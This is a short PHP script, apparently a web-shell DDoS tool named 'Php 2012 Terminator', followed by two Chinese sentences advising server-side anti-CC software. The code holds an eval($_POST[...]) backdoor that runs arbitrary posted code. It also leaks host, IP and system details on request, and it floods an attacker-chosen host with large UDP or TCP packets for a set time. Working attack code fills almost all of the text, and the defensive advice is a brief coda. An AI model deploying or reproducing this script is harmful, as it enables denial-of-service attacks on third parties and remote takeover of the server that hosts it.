- eval($_POST[Chr(90)]);
- set_time_limit(86400);
- ignore_user_abort(True);
- $packets = 0;
- $http = $_GET['http'];
- $rand = $_GET['exit'];
- $exec_time = $_GET['time'];
- if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0)
- {
- if(StrLen($_GET['rat'])<>0)
- {
- echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
- exit;
- }
- echo "Php 2012 Terminator";
- exit;
- }
- for($i=0;$i<65535;$i++)
- {
- $out .= "X";
- }
- //Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center
- $max_time = time()+$exec_time;
- if($rand==53)
- while(1)
- {
- $packets++;
- if(time() > $max_time)
- {
- break;
- }
- $fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
- if($fp)
- {
- fwrite($fp, $out);
- fclose($fp);
- }
- }
- else
- if($rand==500)
- while(1)
- {
- $packets++;
- if(time() > $max_time){
- break;
- }
- $fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
- if($fp)
- {
- fwrite($fp, $out);
- fclose($fp);
- }
- }
- else
- while(1)
- {
- $packets++;
- if(time() > $max_time){
- break;
- }
- $fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
- if($fp)
- {
- fwrite($fp, $out);
- fclose($fp);
- }
- }
- ?>
对于cc攻击的防范,如果是动态页面,可以判断时间,如果是静态的网站,则需要服务器上安装防cc攻击的软件,一般服务器安全狗还是不错的。
对于php cc攻击的防范,要时刻注意。 |